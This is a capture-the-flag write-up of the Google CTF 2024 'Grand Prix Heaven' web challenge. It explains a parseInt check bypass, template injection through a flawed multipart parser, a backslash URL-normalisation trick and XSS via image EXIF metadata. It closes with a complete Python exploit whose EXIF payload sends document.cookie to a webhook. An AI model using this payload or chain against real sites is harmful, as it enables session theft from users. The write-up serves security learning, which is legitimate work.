Grand Prix Heaven - Google CTF 2024
legasi*Note: This post was initially published on my old blog and has been transferred here.*
This challenge was a part of Google CTF 2024 - Web category
TLDR;
Bypass isNum(parseInt(v)) check - parseInt() has a loose comparison ( e.g “1anything” )
The deprecated template extracts the metadata from the image and uses it inside of innerHTML which allows us to get an XSS.
Inject a template that is usually inaccessible and deprecated by abusing a template server request handler misconfiguration splitting chunks \r\n\r\n which is then iterating through split values to set the templates. (Also could have used the static boundary to split it )
Using URL path normalization to bypass the bad regex.
Challenge
This challenge has two servers running, a heaven and a template server.
Like a lot of challenges, this one also mostly takes you to understand the code, follow how stuff is processed step by step, and debug it. If you are a developer and can understand and write Javascript well then this challenge should be pretty straight forward for you.
Looking at the structure of the challenge we can see that there is a bot which most of the time indicates that this is an XSS challenge.
index.js - Heaven server source snippet
const TEMPLATE_PIECES = [
"head_end",
"csp",
"upload_form",
"footer",
"retrieve",
"apiparser", /* We've deprecated the mediaparser. apiparser only! */
"faves",
"index",
];
app.get("/fave/:GrandPrixHeaven", async (req, res) => {
const grandPrix = await Configuration.findOne({
where: { public_id: req.params.GrandPrixHeaven },
});
if (!grandPrix) return res.status(400).json({ error: "ERROR: ID not found" });
let defaultData = {
0: "csp",
1: "retrieve",
2: "apiparser",
3: "head_end",
4: "faves",
5: "footer",
};
let needleBody = defaultData;
if (grandPrix.custom != "") {
try {
needleBody = JSON.parse(grandPrix.custom);
for (const [k, v] of Object.entries(needleBody)) {
--> ? if (!TEMPLATE_PIECES.includes(v.toLowerCase()) || !isNum(parseInt(k)) || typeof(v) == 'object')
throw new Error("invalid template piece");
// don't be sneaky. We need a CSP!
--> ? if (parseInt(k) == 0 && v != "csp") throw new Error("No CSP");
}
} catch (e) {
...
}
}
needle.post(
TEMPLATE_SERVER,
needleBody,
{ multipart: true, boundary: BOUNDARY },
function (err, resp, body) {
if (err) {
...
}
return res.status(200).send(body);
}
);
});
Here we can see that first, we need to have a custom value for our car then we have an if that checks the key and value of it. The value needs to be one of the available templates, the key “has” to be a number and the value can not be an object. Why I said “has” for the key to be a number because parseInt() has a loose comparison and passing any string that has a number at the beginning will be true for example 1notanumber . The next if does not need to be bypassed simply because we are not going to provide a key with a value of 0 :D .
After all checks are passed they are sent via a POST request to the template server.
Inside of template server, we can see a vulnerable function that is being used within a global request Handler for the server.
index.js - template server
const parseMultipartData = (data, boundary) => {
var chunks = data.split(boundary); // or that ;)
// always start with the <head> element
var processedTemplate = templates.head_start;
// to prevent loading an html page of arbitrarily large size, limit to just 7 at a time
let end = 7;
if (chunks.length-1 <= end) {
end = chunks.length-1;
}
for (var i = 1; i < end; i++) {
// seperate body from the header parts
var lines = chunks[i].split('\r\n\r\n') // this
.map((item) => item.replaceAll("\r\n", ""))
.filter((item) => { return item != ''})
for (const item of Object.keys(templates)) {
if (lines.includes(item)) {
processedTemplate += templates[item];
}
}
}
return processedTemplate;
}
const reqHandler = function (req, res) {
res.setHeader("Content-Type", "text/html");
var result;
if (req.method == 'POST') {
var body = ''
req.on('data', function(data) {
body += data
})
req.on('end', function() {
var boundary = '--' + req.headers['content-type'].split("boundary=")[1];
result = parseMultipartData(body, boundary); // <---- used here
res.end(result);
})
} else {
res.writeHead(400);
return res.end();
}
};
const server = http.createServer(reqHandler); // <-- sets the global req handler
server.listen(9999, () => {
console.log('Server running at <http://localhost:9999/>');
});
The parseMultipartData splits the chunks by \r\n\r\n OR with the boundary which we already know from the heaven server index.js. I solved it by using \r\n\r\n but at this point, it is trivial which way you chose to pass the body.
{“1—GP_HEAVENmediaparser..}” will be basically the same as my solution with little tweaks, will not go into more explanation of it.
Seeing a comment in the template array that mediaparser is being deprecated gave a hint, checking the mediaparser we can see the following:
templates.js:
...
mediaparser : `
<script src="https://cdn.jsdelivr.net/npm/exifreader@4.22.1/dist/exif-reader.min.js"></script>
<script src="../js/mediaparser.js"></script>
`,
...
mediaparser.js
addEventListener("load", (event) => {
params = new URLSearchParams(window.location.search);
let requester = new Requester(params.get('F1')); // param called here ? custom class
try {
let result = requester.makeRequest();
result.then((resp) => {
if (resp.headers.get('content-type') == 'image/jpeg') {
var titleElem = document.getElementById("title-card");
var dateElem = document.getElementById("date-card");
var descElem = document.getElementById("desc-card");
resp.arrayBuffer().then((imgBuf) => {
const tags = ExifReader.load(imgBuf);
descElem.innerHTML = tags['ImageDescription'].description;
titleElem.innerHTML = tags['UserComment'].description;
dateElem.innerHTML = tags['ICC Profile Date'].description;
})
}
})
} catch (e) {
console.log("an error occurred with the Requester class.");
}
});
This means it takes the metadata from our image and uses it inside of innerHtml, we can get an XSS this way. We can just inject our payload in the metadata of the image. But the problem is getting to the vulnerable code. Looking at the custom class:
class Requester {
constructor(url) {
const clean = (path) => {
try {
if (!path) throw new Error("no path");
let re = new RegExp(/^[A-z0-9\s_-]+$/i);
if (re.test(path)) {
// normalize
let cleaned = path.replaceAll(/\s/g, "");
return cleaned;
} else {
throw new Error("regex fail");
}
} catch (e) {
console.log(e);
return "dfv";
}
};
url = clean(url);
this.url = new URL(url, 'https://grandprixheaven-web.2024.ctfcompetition.com/api/get-car/');
}
makeRequest() {
return fetch(this.url).then((resp) => {
if (!resp.ok){
throw new Error('Error occurred when attempting to retrieve media data');
}
return resp;
});
}
}
We can see the problem here is we can not pass the content-type check on /api/new-car endpoint to get to the xss vuln code.
The only part we can see content-type is being set to image/jpeg is:
app.get("/media/:mediaId", async (req, res) => {
try {
if (!req.params.mediaId) throw new Error("No mediaId");
let mediaId = req.params.mediaId;
const media = await Media.findOne({ where: { public_id: mediaId } });
const imageBlob = media.img;
res.set("content-type", "image/jpeg");
return res.status(200).send(imageBlob);
} catch (e) {
console.log(`ERROR IN /media/:mediaId:\n${e}`);
return res.status(400).json({ error: "error" });
}
});
So it means somehow we need to get the URL that is being used to point to this endpoint, maybe a path traversal?
Looking at the regex and how the URL is being parsed inside of a custom class, we can see that A-z chars are allowed which means it whitelists ASCII characters from A to z including the ones in between:
In this case, we can use the \ allowed characters to abuse the Regex misconfig and how \ is being treated when being parsed. In URL normalization for example example.com/ok appending \test to it will equal to example.com/ok/test but using two backslashes \\test will overwrite the path so now the URL is example.com/test . This is normal URL normalization behavior which we just in this case used to bypass a bad regex.
Solution
So our final payload should look something like this:
{
"1\r\n\r\nmediaparser\r\n\r\n":"faves", "2":"retrieve" // retrieve calls the custom Class func
}
passes all checks, then in template server it is being parsed like this:
1
mediaparser
f
...
injecting the mediaparser as a template
Exploit:
import requests
import json
from PIL import Image #used for creating images
import piexif # using this instead of exiftool
URL = 'https://grandprixheaven-web.2024.ctfcompetition.com'
img = Image.new('RGB', (100, 100), 'red')
imageifd = {
piexif.ImageIFD.ImageDescription: '<img src=x onerror="fetch(\'webhook/?flag=\'+document.cookie)">',
}
exif_b = piexif.dump({"0th": imageifd})
img.save('image.jpg', exif=exif_b)
# I RECOMMEND USING THIS WAY OF CREATING IMAGES,
# exiftool on real images can create errors or messe up the image (my case)
payload = {
"1\r\n\r\nmediaparser\r\n\r\n":"faves", "2":"retrieve"
}
r = requests.post(URL + '/api/new-car', data={
'year': '1312',
'make': 'Spaceship',
'model': 'xss',
'custom': json.dumps(payload)
}, files={
'image': ('image', open('image.jpg', 'rb'), 'image/jpeg')
}, allow_redirects=False)
configid = r.headers['Location'].split('F1=')[1]
r = requests.get(URL + '/api/get-car/' + configid)
imgid = r.json()['img_id']
report_url = URL + '/fave/' + configid + '?F1=' + "%5Cmedia%5C" + imgid
r = requests.post(URL + '/report', data={
'url': report_url
})
print('config_id = ', configid)
print('img id = ',imgid)
print(f'url = {configid}?F1=\\\\media\\\\{imgid}')
print(r.text)
Subscribe to my newsletter
Read articles from legasi directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by